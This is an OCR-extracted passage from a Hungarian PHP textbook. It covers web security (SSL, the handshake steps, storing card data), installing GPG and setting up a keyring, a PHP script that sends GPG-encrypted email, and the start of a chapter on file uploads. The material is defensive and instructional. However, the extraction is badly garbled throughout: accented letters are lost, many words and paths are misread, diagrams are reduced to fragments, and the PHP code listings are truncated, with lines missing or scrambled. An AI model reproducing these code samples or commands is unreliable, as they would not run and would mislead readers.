sznk elrhetv a szerveroldali programozsban (pldul PHP-ben) s milyeneket a kliensoldali programozsban (pldul
JavaScriptben).
A PHP-ben megteremtett funkcik minden felhasznl bngszjvel kompatibilisek lehemek, mivel a kd eredmnye
egyszeren egy HTML oldal. A nagyon alapvetJavaScript kdon tl brmit hasznlunk, figyelembe kell venni az egyes bn
gszk (s azok klnbz verziinak) eltr mkdst.
Az olyan feladatoknl, mint pldul az adatrvnyests, biztonsgi szempontbl jobban jrunk szerveroldali programozs
sal, mivel forrskdunk ebben az esetben nem lesz lthat a felhasznJk szmra. Ha kizrlagJavaScriptben ellenrizzk az
adatokat, a felhasznJk megtekinthetik s esetleg kijtszhatjk a kdot.
A megrizni szksges adatokat trolhatjuk sajt gpeinken fjlknt vagy adatbzisrekordknt, illetve a felhasznJk gpn
stiknt. A srik hasznlatval korltozott mennyisg adat (munkamenetkulcs) trolsra a Munkamenet-vezrls PHP-ben
cm 23. fejezetben foglalkozunk majd.
A trolni kvnt adatok tbbsgnek webszervernkn vagy adatbzisunkban a helye. Szmos j oka van annak, hogy
a felhasznl gpn mitt csak a lehet legkevesebb adatot szabad trolni. A rendszernkn kvl elhelyezked informcinl
nincsen rhatsunk annak biztonsgos trolsra, nem lehetnk biztosak abban, hogy a felhasznl nem trli ki, illetve nem
tudjuk megakadlyozni, hogy rendszernk kijtszsra irnyul prblkozsa sorn a felhasznl ne mdostsa azt.
18
Az internet
Nem csak a felhasznJk gpeire, az internet tulajdonsgaira is nagyon csekly a rhatsunk, m ez nem azt jelenti, hogy rend
szernk tervezse sorn figyelmen kvl hagyhatjuk ezeket a tulajdonsgokat.
279
Az internet szmos pomps jellemzvel br, de jellegbl addan egy nem biztonsgos hlzatrl van sz. Amikor inform
cit kldnk az egyik pontrl a msikra, egy pillanatra sem szabad elfelejtennk, hogy a kldtt informcit msok megtekint
hetik vagy akr mdosthatjk. Errl mr esett sz Az e-kereskedelem biztonsgi krdsei cm 15. fejezetben. Ennek tudatban
kell eidntennk, hogy milyen intzkedst kvnunk tenni.
A szba jhet lehetsgeink:
A fentiektl fggetlenl elkldjk az informcit, tudva azt, hogy msok megtekinthetik s esetleg mdostjk.
Klds eltt digiclisan alrjuk az informcit, hogy vdjk a mdostscl.
Klds eltt titkostjuk az informcit, hogy megrizzk titkossgt, s vdjk a mdoststl.
gy hatrozunk, hogy az informci tl bizalmas ahhoz, hogy kockztassuk az illetkeelen kezekbe kerlst, s ms
mdszerc keresnk az eljuttatsra.
Az internet nagyfok nvtelensget biztost kzeg. Igen nehz meggyzdni arrl, hogy tnyleg azzal a szemllyel llunk
kapcsolatban, akinek kiadja magt. Mg ha sajt cljainknak megfelelen meg is bizonyosodunk a felhasznl szemlyazo
nossgrl, igen problms lenne ugyanezt olyan frum eltt is bizonytani, mint pldul a brsg. Mindez a letagadhacsg
szintjn okoz problmkat, amirl a 15. fejezetben mr esett sz.
Rviden: az adatvdelem s a letagadhatsg fontos krds az interneten keresztl folytatott tranzakcik esetben. Legalbb
ktfle mdszer ltezik a kiszolglnkra rkez s onnan indul informci biztonsgoss ttelre:
Secure Sockets Layer (SSL) protokoll
Secure Hypertext Transfer Protocol (S-HTTP)
Mindkc technolgia titkos, mdosthatsgtl mentes zenetkldst s hitelestse knl, de mg az SSL szles krben elr
het s hasznlt, az S-HTTP nem igazn terjedt el. A fejezet ksbbi rszben rszletesen foglalkozunk az SSL-lel.
Sajt rendszernk
A vilgegyetem ltalunk tnylegesen kontroll alatt tarthat rsze a sajt rendszernk, ami a 18.1 brn a cglalapon belli al
kotelemekbl ll ssze. Ezek az alkotelemek fizikailag elklnlhetnek a hlzaton, de az is elfordul, hogy egyetlen gpen
helyezkednek el.
Viszonylag biztonsgban tudhatjuk az informcit, amg a webes tartalmaink tovbbtsra hasznlt, ms gyrtk ksztette
termkek kezelik azt. Ezen szofcverek fejleszti minden bizonnyal tbbet foglalkoztak a biztonsggal, mint amennyi idt mi
fordtani tudunk a dologra. Feltve, hogy valamely jl ismert termk friss verzijt futtatjuk, a Google vagy kedvenc keresnk
rudatos hasznlatval minden fontos problmrl tudomst szerezhetnk. Tudatostsuk magunkban, hogy igen lnyeges nap
raksznek maradnunk e tren!
Ha a mi feladatunk a telepts s a konfigurls is, rdemes foglalkoznunk azzal, hogyan leetek teleptve s konfigurlva az
egyes szofcverek. A biztonsg tern elkvetett sok hiba a dokumentciban szerepl figyelmeztetsek figyelmen kvl hagy
sbl ered, vagy ltalnos, a jelen knyv tartalmi korltain kvl es, rendszergazdai krdsek miatt kvetkezik be. rdemes
elolvasni egy j knyvet az ltalunk hasznlni kvnt opercis rendszer belltsrl, vagy fizessk meg egy hozzrt rend
szergazda szolglatait!
A PHP teleptsekor mrlegelend szempont, hogy a SAPI modulknt webszervernkre teleptse ltalban biztonsgo
sabb s hatkonyabb, mint CGI felleten keresztli futtatsa.
Webes alkalmazsok fejlesztjeknt elsdlegesen azzal kell foglalkoznunk, hogy kdjaink mit tesznek, illetve mit nem
tesznek. Milyen potencilisan bizalmas adatot kld alkalmazsunk a felhasznlknak interneten keresztl? Milyen bizalmas
adatok tovbbtst krjk felhasznlinkcl? Ha rendszernk s a felhasznlink kzte ritkos tranzakcikban kell adatot
tovbbtani, vagy szinte lehetedenn kell tenni annak mdoscst, akkor rdemes mrlegelni az SSL hasznlatr.
Mr szba kerlt az SSL a felhasznl szmtgpe s a kiszolgl kztti hasznlata. Kpzeljk el azt az esetet is, amikor
rendszernk kt alkoteleme kzte a hlzaton tovbbtunk adatokat! Tipikus pldja ennek az a helyzet, amikor MySQL
adatbzisunk a webszervertl eltr gpen helyezkedik el. A PHP TCP/IP protokollon keresztl csatlakozik MySQL kiszol
glnkhoz, s ez a kapcsolat nem titkostott. Ha mindkt gp privt helyi hlzaton mkdik, gondoskodnunk kell a hlzat
biztonsgrL Ha a gpek az interneten keresztl kommuniklnak, akkor rendszernk minden bizonnyal lassan fog futni, s
pontosan gy kell kezelni ezt a kapcsolatot, mint brmilyen ms, interneten keresztli kapcsolatot.
Fontos, hogy amikor a felhasznlk azt gondoljk, hogy velnk kerlnek kapcsolatba, akkor az tnyleg gy legyen. Digitlis
tanstvny regisztrlsval vdhetjk ltogatinkat a hamiststl (spoofing), vagyis az olyan tmadsoktl, arnikor valaki
oldalunk egy hamistott vltozatra csalja a ltogatkat, illetve anlkl hasznlhacunk SSL protokollt, hogy felhasznlinknak
figyelmeztet zenet jelenne meg. Radsul a digitlis tanstvny online vllalkozsunk megbzhatsgt sugallja.
A kvetkez krds, hogy kdjaink gondosan ellenrzik-e a felhasznlk ltal bevitt adatokat. Gondoskodunk-e az adatok
biztonsgos trolsrl? Ezekre a fejezet kvetkez rszeiben vlaszolunk.
18
280
18. fejezer
A Secure Sockers Layer (biztonsgos csatlakoz rteg) prorokollkszlerer erederileg a Netscape alalerotta ki a webszerverek s
a bngszk kztti biztonsgos kommunikcihoz. Azta a bngszk s kiszolglk kztti bizalmas informcicsere nem
hivatalos szabvnyaknt alkalmazzk.
Az SSL 2-es s 3-as verzija is szles kren tmogatott. A webszerverek tbbsge vagy tartalmazza az SSL mkdsr,
vagy kiegszt modulknt fogadja. Az I nternet Explorer s a F irefox is a 3-as verzirl tmogatja az SSL-r.
A hlzati protokollokat s az azokat megvalsr szaftvereket jellernzen egymsra pakolt rtegekbe rendezik. Minden
rteg a felerre s alatta lv rtegnek tovbbrhat adatot, illetve azokrl krher szolgltatsokat. A 18.2 brn ilyen protokollver
met (protocol stack) lthatunk.
HTIP
IFTP l
SMTP
Alkalmazsrteg
...
TCP/UDP
Szlltsi rteg
IP
Hlzati rteg
Klnbz
Adatkapcsolati rteg
HT TP
l l l
kzfogsSSl
protokoll
titkoshsSSL
vlts
protokoll
figyelSSL
meztet6
protokoll
. . .
Alkalmazsrteg
SSL rteg
TCP
Szlltsi rteg
IP
Hlzati rteg
Host to Network
Adatkapcsolati rteg
l. A bngsz SSL-t kezelni kpes kiszolglhoz csatlakozik, s megkri, hogy hitelestse magt.
18
4. A bngsz megadja az ltala tmogatott titkostsi algoritmusok s hash fggvnyek listjt. A kiszolgl kivlasztja az
ltala tmogatott legersebb titkostsr.
281
a.
A bngsz megszer a kiszolgl digitlis tansrvnybl a szerver nyilvnos kulcst, s egy vletlenszeren ell
b.
A kiszolgl egyszer szvegknt kldtt, vletlenszer adattal vlaszol (amennyiben a kiszolgl krsre a bng
c.
A munkamenet titkostsi kulcsai ezekbl a vletlenszer adatokbl lltdnak el hash fggvnyek hasznlatval.
Adatunk
Adatcsomagok
Tmrtett adatok
zenethitelest kd
Titkostott csomagok
TCP csomagok
fejrsz WH
l!::t:ttl
t:tm
'l
Az brbl kitnik, hogy a TCP fejrsz hozzadsa az adat titkostsa utn trtnik meg. Ez azt jelenti, hogy az rvlasztsi
informcit mg mindig meg tudjk bolygatni, s br azt nem fogjk tudni, hogy rnilyen informcikat kldzgetnk, ltni
fogjk, ki kinek kldi azokat.
Annak, hogy az SSL-ben a titkosts eltt trtnik a tmrts, az az oka, hogy noha a hlzati forgalom nagy rsze a hl
zaton val tovbbts eltt tmrthet (s gyakran valban trndtik is), a titkostott adatok nem jl tmrthetk. A tm
rtsi algoritmusok az adatokon belli ismtldseket vagy mintkat prblnak azonostani. ltalban semmilyen haszonnal
nem jr, ha az adatok titkostsa, azaz gyakorlatilag vletlenszer bitekk alaktsa utn prbljuk meg tmrteni azokat. Kel
lemeden lenne, ha az SSL, amelynek clja a hlzatbiztonsg fokozsa, mellkhatsknc jelents mrtkben nveln a hlzati
forgalmat.
Noha az SSL viszonylag sszetetten mkdik, a Felhasznlk s a fejlesztk ell rejrve marad a trtntek nagy rsze, mivel
a protokoll kls felletei meglv protokollokat msolnak.
A jelenleg 1.1-es verzinl jr Transport Layer Security (szlltsi rtegbeli biztonsg, TLS) kzvetlenl az SSL 3.0-ra
pl, de az SSL gyengesgeit kikszbl s nagyobb rugalmassgot knl fejlesztseket tartalmaz. A TLS-t egy valban nylt
szabvnynak sznjk, hogy ne egy egyeden szervezet ltal meghatrozott, majd msok szmra elrhetv tett szabvny legyen.
18
282
18. fejezet
18
php
a kvlllk nem fogjk tudni megtekinteni az rtelmezs eltti forrskdot. Egyb kiterjesztsek hasznlara esern azonban
vatosan kell eljrni. Ha . inc fjlokat helyeznk a webes knyvtrakba, az azokar krk a feldolgozatlan forrsr fogjk meg-
kapni. A heilleszrend fjlokat a webes fastruktrn kvl kell elhelyezni, s gy kell konfigurlni a kiszolglt, hogy ne teljest
se az ilyen fjlokta vonatkoz krseket, vagy pedig . php kiterjesztst kell adni ezeknek az llomnyoknak is.
Amennyiben msokkal osztozunk a kiszolgln, MySQL-jelszavunk lthatv vlhat a gp azon ms felhasznli szmra,
akik ugyanezzel a kiszolglval futtatnak kdokat. Rendszernk belltsaitl fggen ez a helyzet megelzhet. A prebl
mt azzal tudjuk elkerlni, ha a kiszolglt gy lltjuk be, hogy klnll felhasznlkknt futtassa a kdokat, vagy minden
felhasznlval a webszerver sajt pldnyt futtassa. Ha nem mi vagyunk webszervernk rendszergazdja (ami megosztott
kiszolgl esetn nagy valsznsggel igaz), akkor rdemes lehet megtrgyalni a rendszergazdval ezt a krdst s ttekinteni
vele a biztonsgi lehetsgeket.
Hitelkrtyaadatok trolsa
A bizalmas adatok biztonsgos trolsnak ttekintse utn rdemes kln foglalkozni a bizalmas adatok egy klnleges fajt
jval. Az internet-felhasznlkat klnsen aggasztja hitelkrtyaszmaik biztonsga. Ha trolni kvnjuk ezeket, nagyon krl
tekinten jrjunk el! Tegyk fel magunknak a krdst, hogy mirt troljuk ezeket, illetve valban szksg van-e a trolsukra!
Mire hasznlunk egy krryaszmot? Ha egyszeri tranzakcinl vals idben dolgozzuk fel a krtyaszmot, akkor jobban
jrunk, ha bekrjk a vsrltl, s trols nlkl tovbbtjuk a tranzakci-feldolgoz tjrnak.
Ha rendszeres djat szednk be, pldul folyamatos elfizets esetn havonta terheljk a krtyt, akkor ez a meg
kzelts nem megfelel szmunkra. Ebben az esetben rdemes mrlegelni annak lehetsgt, hogy a krtyaszmokat
a webszervernkn kvl, valahol mshol troljuk.
Amennyiben sok vsrl krtyaadatt tervezzk trolni, gondoskodjunk kellen kpzett s kiss paranois rendszergazd
rl, aki elegend idvel rendelkezik arra, hogy az opercis rendszernkkel s az ltalunk hasznlt egyb termkekkel, illetve
azok biztonsgval foglalkoz informciforrsokat rendszeresen ellenrizze.
A GPG teleptse
A GPG Linux gpre teleptshez a www.gnupg.org oldalrl tlthetjk le a megfelel tmrtett fjlt. Attl fggen, hogy
a . tar . g z vagy a . tar. b z 2 tmrtett llomnyt vlasztjuk, a gunzip vagy a
tar
A program fordtshoz (compile) s teleptshez ugyanazokat a parancsokat kell hasznlni, mint a Linux-prograrnek tbbs
gnl:
configure (vagy rendszernktl fggen . l configure )
283
284
18.fezet
make
make install
Ha nem vagyunk rendszergazdk (root felhasznlk), a --prefix opcival kell a konfigurl kdot futtatni, valahogy gy:
. lconfigure --prefix=lkonyvtarunkleleresilutvonala
Aztt kell ezt az opcit hasznlni, mett a nem root felhasznlknak nincsen hozzfrsle a GPG alaprtelmezett knyvtrhoz.
Ha minden jl megy, a GPG fordtsa s a futtathat program a lusr llocal Ibinl gpg (vagy az ltalunk meghatrozott
knyvtrba) kerl. Sok belltst mdosthatunk, a rszleteket a GPG dokumentcijban talljuk.
Windowsos szerver esetn a folyamat mg ennl is egyszerbb. Tltsk le a zip fjlt, csomagoljuk ki, s helyezzk a gpg.
exe fjlt a megfelel knyvtrba (a C: \Windows\ vagy valami hasonl kivlan megfelel)! Hozzunk ltre egy knyvtrat
a C: \gnupg helyen! Ezt kveten nyissuk meg a parancssort, majd gpeljk be: gpg!
A GPG-t vagy a PGP-t arra a rendszerre is teleptennk kell, illetve azon a rendszeren is ltre kell hozni egy kulcsprt, aho
va az e-mailt kldeni kvnjunk.
A webszerveren nagyon kevs klnbsget tallhatunk a GPG s a PGP parancssori verzii kztt, gy akr a GPG-t is
hasznlhatjuk, lvn az ingyenes. Azonban a gpre, ahol a leveleket olvassuk, rdemes lehet megvsrolni a PGP fizets vlto
zatt, mert annak szebb a levelezprogramhoz tartoz, grafikus kezelfellete.
Ha mg nem rendelkeznk a kulcsprral, lltsunk el egyet a gpen, amin a levelet olvasni fogjuk! Emlkezhetnk r, hogy
a kulcspr egy nyilvnos s egy titkos (privt) kulcsbl ll. Az elbbit msok (s PHP kdjaink) hasznljk a levl kldse eltt
annak titkostsra,
az
utbbival mi magunk fejtjk vissza a berkez zeneteket, s rjuk al a kimen leveleket. Fontos, hogy
a kulcsot a levl olvassra hasznlt gpen s ne a webszerveren hozzuk ltre, mert titkos kulcsot nem ajnlott kiszolgln t
rolni.
Amennyiben a GPG parancssori vltozatval lltjuk el a kulcsokat, rjuk be az albbi parancsot:
gpg --gen-key
Szmos krdsre kell ekkor vlaszt adnunk. A legebbnl megfelel, ha egyszeren az alaprtelmezett vlaszt fogadjuk el.
A program klnbz sorokban megkrdezi valdi nevnket, e-mail cmnket, illetve vr egy megjegyzst, amiket a kulcs
elnevezsre hasznl. (Az n sajt kulcsom neve 'Luke Well ing <luke@tangledweb.com.au>'. Gondolom, rthet
a sma. Ha a megjegyzst is megadnm, az a nv s a cm kz kerlne.).
Az albbi paranccsal exportlhatjuk az j kulcsprbl a nyilvnos kulcsot:
gpg --export >
fajlnev
A parancs futtatsnak eredmnyeknt olyan binris fjlt kapunk, amely alkalmas arra, hogy ms gpen lv GPG vagy
PGP kulcstartba (key ring) importljuk. Ha viszont e-mailben szeretnnk ezt a kulcsot elkldeni msoknak, hogy importlni
tudjk kulcstartjukba, a kvetkezkppen hozhatjuk ltre az ASCII verzijt a fjlnak:
gpg --export -a > fajlnev
A nyilvnos kulcs kinyerse urn FTP segtsgvel feltlthetjk a fjlt a webszerveren lv felhasznli fikunkba.
A kvetkez parancsok a Unix hasznlatt felttelezik. A lpsek Windows alatt is ugyanezek, de a knyvtrak neve s
a rendszerparancsok eltrnek. Elszr is jelentkezznk be a kiszolgln lv felhasznli fikunkba, majd vltoztassuk meg
a fjljogosultsgokat, hogy ms felhasznlk is olvashassk az llomnyt! Gpeljk be a kvetkezket:
chrnod 644 fajlnev
Ltre kell hoznunk egy kulcstartt, hogy a PHP kdjainkat futtat felhasznl hasznlni tudja a GP G-t. Hogy ez melyik
felhasznl, az kiszolglnk belltsaitl fgg. Gyakran a nobody, de lehet ms is. Vltoztassuk meg gy, hogy mi legynk
a webszerver felhasznljal Ehhez rendszergazdai (root) hozzfrsre van szksg a kiszolglhoz. A webszerver sok rend
szeren nobody-knt fut. A most kvetkez pldk ezt a felhasznlt felttelezik. ( Rendszernkn a megfelel felhasznlra
vltoztathatjuk ezt). Ha ez ll rendszernkre is, gpeljk be a kvetkezket:
su root
su nobody
Hozzunk ltre egy knyvtrat, amelyben a nobody trolni tudja a kulcstartjt s az egyb GPG konfigurcis informci
kat! Ennek a nobody alaprtelmezett felhasznli knyvtrban (home directory) kell lennie.
Az egyes felhasznlk alaprtelmezett knyvrrt az letclpasswd fjlban hatrozhatjuk meg. Sok Linux rendszeren
a nobody alaprtelmezett knyvtra a l, amelybe ez a felhasznl nem jogosult rni. Szmos BSD rendszeren a nobody alap
rtelmezett knyvtra a lnonexistent, amelybe, mivel nem ltezik, nem lehet rni. Rendszernkn a nobody felhasznl
nak a l tmp lett alaprtelmezett knyvtrknt megadva. Gyzdjnk meg arrl, hogy webkiszolglnk felhasznlja rendelke
18
___
,...
,
mkdir .gnupg
285
A nobody felhasznlnak sajt alrkulcsra van szksge. Ennek ltrehozshoz futtassuk jra az albbi parancsot:
gpg --gen-key
Mivel a nobody felhasznl vlheten kevs szemlyes jelleg e-mailt kap, mi is ltrehozhatjuk szmra a csak alr kul
csot. Ennek a kulcsnak egyetlen clja, hogy megbzhassunk a korbban Icinyert nyilvnos kulcsban. Az albbi paranccsal impor
tljuk a korbban exportlt nyilvnos kulcsot:
gpg --import fajlnev
Hogy kzlhessk a GPG-vel: meg kvnunk bzni ebben a kulcsban, az albbi paranccsal szerkesztennk kell a kulcs rulaj
donsgait:
gpg --edit-key 'Luke
Welling
<luke@tangledweb.com.au>'
A fenti sorban az egyszeres idzjelek kztti szveg a kulcs neve. Nyilvnval: az olvas kulcsnak nem 'Luke Welling
<luke@tangledweb. com.au>' lesz a neve, hanem a ltrehozsnl megadott nv, megjegyzs s e-mail cm kombincija.
A prograrnon belli lehetsgek kztt megtalljuk a help-et is, amely az elrhet parancsokat- trust, sign s save
ismerteti.
A trust-ot begpelve kzljk a GPG-vel, hogy teljes mrtkben megbzunk kulcsunkban. A sign begpelsvel al
rjuk a nobody felhasznl privt kulcst hasznl nyilvnos kulcsot. Vgl a save parancsot begpelve a vltoztatsainkat
elmeneve lpjnk ki a programbl!
A GPG tesztelse
A GPG ezzel be lett lltva, hasznlatra ksz. A tesztelshez hozzunk ltre nmi szveget tartalmaz fjlt, majd mentsk el
nven!
Gpeljk be az albbi parancsot (kulcsunk nevt rtelemszeren berva):
teszt.txt
s ltrejn a teszt.txt.asc nev fjl. Ha megnyitjuk ezt, az albbihoz hasonl, titkostott zenetet ltunk:
-----BEGIN PGP MESSAGE----Version: GnuPG vl.0.3
Comment:
(GNU/Linux)
hQEOAODU7hVGgdtnEAQAhr4HgR7xpiBsK9CiELQw85+klQdQ+p/FzqL8tiCrQ+B3
0GJTEehPUDErwqUw/uQLTds0rloPSriAZ7c6GVkhOYEVBj2MskT81IIBvdo950yH
K9PUCvg/rLxJlkxe4Vp8QFETSE3Fdii/ly8VPSgSTE7gAgm0SbFf3S91PqwMyTkD
/2oJEvL6e3cP384s0i8lrBbDbOUAAhCjjXt2DX/uX9q6Pl8QW56UICUOn4DPaWlG
/gnNZCkcVDgLcKfBjbkB/TCWWhpA7o7kX4Cicih7KliMHY4RKdnCWQf27loE+8i9
cJRSCMsFioi6MMNRCQHY6p9bfxL2uE39IRJrQbe6xoEe0nkB0uTYxiLOTG+FrNrE
tvBVMS0nsHu7HJey+oY4Z833p k5+MeVwYumJwlvHjdZxZmV6wz46G02XGT17b28V
wSBnWOoBHSZsPvkQXHTOq65EixP8y+YJvBN3z4pzdHOXa+NpqbH7q3+xXmd30hDR
+u7t6MxTLDbgC+NR
=gfQu
-----END PGP MESSAGE-----
Hogy visszakapjuk az eredeti szveget, tovbbtsuk ezt a fjlt arra a rendszere, ahol ellltottuk a kulcsot, majd futtassuk az
albbi parancsot:
gpg teszt.txt.asc
Ha az alaprtelmezettl eltr nev fjlba szeretnnk helyezni a szveget, a -o kapcsolt hasznlva, illetve a kimeneti llo
mnyt a kvetkezkppen meghatrozva tehetjk ezt meg:
gpg -do
teszt.out teszt.txt.asc
18
286
18.fgezet
18.1 pldakd: titkos_ mail. php-A titkostott e-mailek kldsre szolgl HTML rlap
<html>
<body>
<hl>Kldjn nekem titkostott e-mailt!</hl>
<?php
ll ha nem az alaprtelmezett portokat,
ll s SSL-hez a 443-ast hasznljuk,
if($ SERVER['SERVER_PORT'] !=443)
18.2 pldakd: titkos_mail_kuldese .php-A GPG-t meghv s a titkostott e-mailt elkld PHP kd
<?php
//rvid vltoznevek ltrehozsa
$felado = $ POST['felado'];
$targy
$ POST['targy'];
$uzenet = $ POST['uzenet'];
$cmzett = 'luke@localhost';
ll Kzljk a gpg-vel,
18
tempnam('',
$kimeno_fajk
$bemeno fajl.'.asc';
'pgp');
287
'w');
$uzenet);
fclose($fp);
//parancsunk belltsa
$parancs = "/usr/local/bin/gpg -a \\
--recipient 'Luke Welling <luke@tangledweb.com.au>' \\
--encrypt
-o $kimeno_fajl $bemeno_fajl";
$eredmeny);
if($eredmeny==0)
$fp = fopen($kimeno_fajl,
1f((!$fp)
l l
$eredmeny =
else
'r');
(files1ze($k1meno fajl)==O))
-
1;
filesize ($kimeno_fajl));
mail($cimzett,
$targy,
$tartalom,
"Felad:
".$felado."\n");
if($eredmeny!=O)
echo '<hl>Hiba:<lhl>
<p>Az zenetet nem sikerlt tikostani.</p>
<p>Levelt nem kldtk el.<lp>
<p>Elnzst krnk.<lp>';
?>
Nhny aprbb mdostst vgre kell hajtanunk a kd mkdshez. Az e-mailek a $cmzett vltozban meghatrozott
e-mail cmre lesznek elkldve.
A 18.2 pldakdban a GPG kulcstart helynek megfelelen mdostani kell az albbi sort:
putenv('GNUPGHOME=Itmpl.gnupg');
,.
jt is. Krlbell egy msodpercen bell ltrehozzuk s kitrljk ezeket a fjlokat, gy nem igazn fontos a nevk, a lnyeg.
hogy egyedi legyen. Pldnkban a 'pgp ' eltagot alkalmaztuk, de hagytuk, hogy a PHP a rendszer ideiglenes knyvrrt
hasznlja.
18
288
18. fejezet
Ez a parancs
$parancs
"/usr/local/bin/gpg
--recipient
-a \\
\\
a GPG meghvshoz hasznland parancsot s paramtereket lltja be. Sajt hasznlati krlmnyeinknek megfelelen
kell mdostanunk. Amikor pldul parancssorban hasznljuk, kzlnnk kell a GPG-vel, melyik kulccsal titkostsa az
zenetet.
A
system($parancs,
$eredmeny);
parancs futtaga a $parancs vltozban trolt utastsokat, s az $eredmeny vltozban trolja el a visszatrsi rtket.
Nem felttlenl szksges foglalkoznunk a visszarrsi rtkkel, de segtsgvel - s egy if utasts segtsgvel - kzlhetjk
a felhasznlval, ha valami balul sl el.
Ha befejeztk munknkar az ideiglenes fjlokkal, az unlink () fggvnnyel rrlhegk ket. Ez azt jelenti, hogy a felhasz
nl nem titkosrorr leveleit rvid ideig troljuk a kiszolgln. Ha a kiszolgl a kd futtatsa kzben lell, a fjl akr a szerve
ren is ragadhat.
Ha foglalkoztat bennnker kdunk biztonsga, fontos, hogy a rendszernkn belli sszes informcimozgst figyelembe
vegyk. A GPG ritkosrja levelnket, s lehetv teszi a fogad szmra annak visszafejtst, de ezt megelzen hogyan rkezik
a kldrl az informci' Ha webes felletet knlunk GP G-vel ritkosrott levelek kldsre, az informci tja a 18.5 brhoz
hasonl lesz.
l
Felad
bngszje
Webszerver
Cmzett
levelezszervere
Cmzett
levelezkliense
Mdosthatjuk gy, hogy az adatokat akkor is SSL-en keresztl kldjk, ha a felhasznl SSL nlkl csatlakozott:
<form method="post" action="https://webserver/titkos_mail_kuldese.php">
Ha gy berjuk kdunkba a teljes URL-t, biztosak lehetnk benne, hogy a ltogatk adatai SSL hasznlatval lesznek el
kldve, de ha msik szerveren vagy msik knyvtrban hasznljuk a kdot, minden esetben mdostani kell.
18
Noha sem most, sem ms hasonl helyzetben nem felttlenl fontos, hogy az res rlapot SSL-en keresztl kldjk a fel
hasznlnak, mgis rdemes ezt a megoldst vlasztani. A bngszjk llapotsorn megjelen kis lakat ikon megersti az
emberekben azt a hitet, hogy az ltaluk megadorr informci biztonsgos mdon megy el. gy nem kell a HTML forrskdban
az rlap action rulajdonsgt kibogarszniuk ahhoz, hogy nyugodtak lehessen adataik biztonsga fell.
Tovbbi olvasnival
Az SSL 3.0-s verzijnak specifikcija a Netscape oldalrl tlthet le: http:/ /wp.netscape.com/eng/ssl3/.
Ha szeretnnk tbbet megtudni a hlzatok s a hlzati protokollok mkdsrl, olvassuk el Andrew S. Tanenbaum
Computer Networks (Szmtgpes hlzatok) cm klasszikus alapoz knyvt!
Hogyan tovbb:
Ezzel vgre rtnk az elektronikus kereskedelemmel s a biztonsggal kapcsolatos krdsek ttekintsnek. A knyv kvet
kez rszben halad szint PHP-mdszerekkel ismerkednk meg. Egyebek kzte megtudhag uk azt, hogyan lphetnk
kapcsolatba az interneten lv ms gpekkel, hogyan hozhatunk ltre menetkzben kpeket, illetve hogyan alkalmazhatjuk
a
munkamenet-vezrlst.
289
IV
Halad PHP--mdszerek
19
20
21
Dtum s id kezelse
22
Kpek ellltsa
23
Munkamenet-vezrls PHP-ben
24
19
A fjlrendszer s
kiszolgl elrse
Az Adatok trolsa s visszakeresse cm 2. fejezetbl megrudruk, hogyan olvashatunk adatokat a webszervererr lv fjlokbl,
illetve hogyan rhatunk azokba. A mostani fejezetben olyan PHP fggvnyekkel ismerkedhetnk meg. amelyek lehetv teszik,
hogy kapcsolatba lpjnk a kiszolgln lv fjlrendszerreL
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Fjlfeltlts PHP-ben
Knyvtrfggvnyek hasznlata
Kiszolgln lv fjlok elrse s kezelse
Programok futtatsa a kiszolgln
Szerverkrnyezeti vltozk hasznlata
A fggvnyek hasznlatt egy pldn keresztl fogjuk megvizsglni. Kpzeljnk el egy olyan helyzetet, amikor gyfelnk azt
szeretn, hogy maga tudja feltlteni a weboldala tartalmnak egy rszt - pldul a cgvel kapcsolaros friss hreket! (Vagy
egyszeren csak az FTP-nl vagy SCP-nl bartsgosabb felletet szereme magnak.) Az egyik lehetsges megolds, ha meg
engedjk neki, hogy egyszer szveges fjlknt feltltse a tartalmat. Ezt kveten a fjlok egy PHP-ben kialaktott sablonon
keresztl lesznek elrhetk az oldalon (az Objektumorientlt PHP cm fejezetben ltott megoldshoz hasonlan).
Mieltt elmlyednnk a fjlrendszer fggvnyeiben, nzzk meg rviden, hogyan mkdik a fjlfeltlts!
Fjlfeltlts
A PHP egyik igen hasznos jellemzje a fjlfelelts tmogatsa. Ahelyett, hogy a kiszolglrl HTTP-n keresztl a bngsz
be mennnek, feltltskor pont fordtott irnyban kzlekednek a fjlok. A feltltst ltalban HTML rlappal valstjuk meg.
A pldnkban hasznlt rlapot a 19.1 brn lthatjuk.
j fjlok feltltse
,........ r::: :::-:: = 1 ..... l
19.1 bra: A fjlfeltltshez hasznlt HTML rlap a szoksos rlapoktl eltr mezkkel s meztpusokkal rendelkezik.
Lthatjuk, hogy a felhasznl az rlap szvegdobozba rhatja be az ltala helyileg elrhet fjlokat, illetve a.T
, allzs"
gombra kattintva tallzhat azok kztt. Rvidesen ltni fogjuk, hogy lehet ltrehozni ezt az rlapot. A fjlnv megadsa utn
a
felhasznl a.,Fjl kldse" gombra kattint, s a fjl feltltdik a kiszolglra, ahol PHP kd vrja.
Mieltt belemerlnnk a fjlfelclts plda rszleteibe, fontos megemltennk, hogy a php.ini fjl ngy direktvja szab
lyozza azt a mdot, ahogyan a PHP a fjlfeltltst kezeli. A 19.1 tblzatban ezeket a direktvkat, valamint alaprtelmezett
rtkket s lersukat talljuk.
294
19. fejezet
19
Direktva
belltsai
Lers
Alaprtelmezett
rtk
file_uploads
upload_tmp_dir
upload_max_filesize
post_max size
On
NULL
2M
8M
<html>
<head>
<title>Adminisztrci
j fjlok feltltse</title>
</head>
<body>
<hl>j fjlok feltltse</hl>
<form action="feltoltes.php" method="post" enctype="multipart/form-data"/>
<div>
<input type="hidden" name="MAX_FILE_SIZE" value="lOOOOOO" />
<label for="felhasznaloi fajl">Feltoltend fjl:</label>
<input type="file" name="felhasznaloi fajl" id="felhasznaloi fajl"/>
<input type="submit" value="Fjl kldse"/>
</div>
</form>
</body>
</html>
Figyeljk meg, hogy az rlap a POST metdust hasznlja! A fjlfeltltsek a Netscape Composer s az Amaya ltal tmoga
tott PUT mdszerrel is mkdnek, de ebben az esetben jelentsen mdosrani kellene a kdot. A GET metdus fjlfeltltsekre
nem hasznlhat.
Az rlap az albbi jdonsgokat tartalmazza szmunkra:
A <form> cmkben be kell lltanunk az enctype="multipart/form-data" tulajdonsgot, hogy kzljk a ki
szolglval: a szoksos informci mellett fjl is rkezik.
Szksgnk van a feltlthet fjlok maximlis mrett meghatroz rlapmezre. Jelen esetben rejtett mezvel dolgo
zunk:
<input type="hidden" name="MAX_FILE_SIZE" value="
1000000">
Jegyezzk meg, hogy a MAX_FILE_SIZE rlapmez opcionlis, mivel ezt az rtker szerveroldalon is bellthatjuk! Ha
